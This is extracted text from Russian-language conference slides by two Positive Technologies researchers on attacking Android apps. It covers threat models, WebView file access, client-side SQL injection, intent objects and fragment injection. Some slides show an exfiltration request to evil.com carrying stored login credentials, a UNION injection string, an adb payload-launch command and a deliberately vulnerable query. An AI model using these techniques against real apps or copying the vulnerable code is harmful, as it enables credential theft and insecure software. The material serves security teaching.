4. Заголовок
АНИСЕНЯ НИКОЛАЙ
• специалист отдела исследований
безопасности мобильных приложений
Positive Technologies;
• аспирант Томского Государственного
Университета;
• участник CTF-комады SiBears.
whoami
ТОШИН СЕРГЕЙ
• специалист отдела исследований
безопасности мобильных приложений
Positive Technologies;
• разработчик анализатора исходных кодов
Android-приложений;
• участник программ bugbounty.
5. ЗаголовокМодели нарушителя
Удаленный нарушитель
• На сервере
• На другом клиенте
• В канале связи
Локальный нарушитель
• Трояны
• Приложения с закладками
Нарушитель с физическим доступом к
устройству
• Кража или утеря
• Кратковременный доступ
6. ЗаголовокВерсии Android на устройствах пользователей
Ice Cream Sandwich 15
2%
Jelly Bean 16
8%
Jelly Bean 17
11%
Jelly Bean 18
3%
KitKat 19
34%
Lollipop 21
17%
Lollipop 22
20%
Marshmallow 23
5%
% от общего числа устройств на Android
20. ЗаголовокСпособ 8: доступ к файловой системе через WebView
$ adb shell am start -d
"file:///sdcard/payload.html"
nanisenya.
app_android/.MainActivity
22. ЗаголовокСпособ 8: доступ к файловой системе через WebView
GET /%3C?xml%20version='1.0'%20encoding='utf-
8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C
string%20name=%22LOGIN%22%3Ealice%3C/string%3E
%0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123
%3C/string%3E%0A%3C/map%3E%0A HTTP/1.1
Host: evil.com
Origin: file://
X-Requested-With: nanisenya.app_android
...
Connection: close
23. ЗаголовокСпособ 9: Client-side SQL-injection
String query =
"SELECT * FROM messages WHERE msg LIKE '%" + q + "%'";
Cursor c = MainActivity.this.db.rawQuery(query);
sqlite> .tables
android_metadata
messages
private_messages
24. ЗаголовокСпособ 9: Client-side SQL-injection
SELECT * FROM messages WHERE msg LIKE ' UNION SELECT *
from private_messages -- %'";
q = "' UNION SELECT * from
private_messages -- "
39. ЗаголовокСпособ 16: произвольные объекты в intent
public static final class PageInfo
implements Parcelable {
public String startPageUrl;
public byte[] startPagePostData;
public String cookies;
public String successUri;
public String failUri;
…
}
44. ЗаголовокСпособ 17: Fragment Injection
Уязвимость сохраняется, если
- Android < KitKat
- TargetSDK < KitKat (import android.support.v4.app.Fragment;)
- Используются сторонние библиотеки (например, для корректной работы
интерфейса на разных версиях Android), переопределяющие поведение
фрагментов
Защита
- TargetSDK >= KitKat
- Использовать isValidFragment